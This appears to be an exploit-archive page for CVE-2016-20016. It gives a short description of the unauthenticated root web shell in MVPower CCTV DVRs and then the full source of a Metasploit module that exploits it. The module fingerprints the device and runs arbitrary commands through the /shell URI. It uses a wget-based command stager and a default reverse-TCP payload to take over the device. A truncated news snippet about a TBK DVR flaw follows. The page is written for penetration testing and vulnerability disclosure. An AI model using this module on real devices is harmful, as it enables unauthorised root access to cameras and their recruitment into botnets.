Headline
CVE-2016-20016: Offensive Security’s Exploit Database Archive
MVPower CCTV DVR models, including TV-7104HE 1.8.4 115215B9 and TV7108HE, contain a web shell that is accessible via a /shell URI. A remote unauthenticated attacker can execute arbitrary operating system commands as root. This vulnerability has also been referred to as the “JAWS webserver RCE” because of the easily identifying HTTP response server field. Other firmware versions, at least from 2014 through 2019, can be affected. This was exploited in the wild in 2017 through 2022.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
def initialize(info = {})
super(update_info(info,
'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command execution
vulnerability in MVPower digital video recorders. The 'shell' file
on the web interface executes arbitrary operating system commands in
the query string.
This module was tested successfully on a MVPower model TV-7104HE with
firmware version 1.8.4 115215B9 (Build 2014/11/17).
The TV-7108HE model is also reportedly affected, but untested.
},
'Author' =>
[
'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' =>
[
# Comment from Paul Davies contains probably the first published PoC
[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
# Writeup with PoC by Andrew Tierney from Pen Test Partners
[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
],
'DisclosureDate' => 'Aug 23 2015',
'Privileged' => true, # BusyBox
'Arch' => ARCH_ARMLE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget'
},
'Targets' =>
[
['Automatic', {}]
],
'CmdStagerFlavor' => %w{ echo printf wget },
'DefaultTarget' => 0))
end
def check
begin
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
res = send_request_cgi(
'uri' => "/shell?echo+#{fingerprint}",
'headers' => { 'Connection' => 'Keep-Alive' }
)
if res && res.body.include?(fingerprint)
return CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return CheckCode::Unknown
end
CheckCode::Safe
end
def execute_command(cmd, opts)
begin
send_request_cgi(
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
'headers' => { 'Connection' => 'Keep-Alive' }
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def exploit
print_status("#{peer} - Connecting to target")
unless check == CheckCode::Vulnerable
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
end
print_good("#{peer} - Target is vulnerable!")
execute_cmdstager(linemax: 1500)
end
end
Related news
Threat actors are actively exploiting an unpatched five-year-old flaw impacting TBK digital video recording (DVR) devices, according to an advisory issued by Fortinet FortiGuard Labs. The vulnerability in question is CVE-2018-9995 (CVSS score: 9.8), a critical authentication bypass issue that could be exploited by remote actors to gain elevated permissions. "The 5-year-old vulnerability (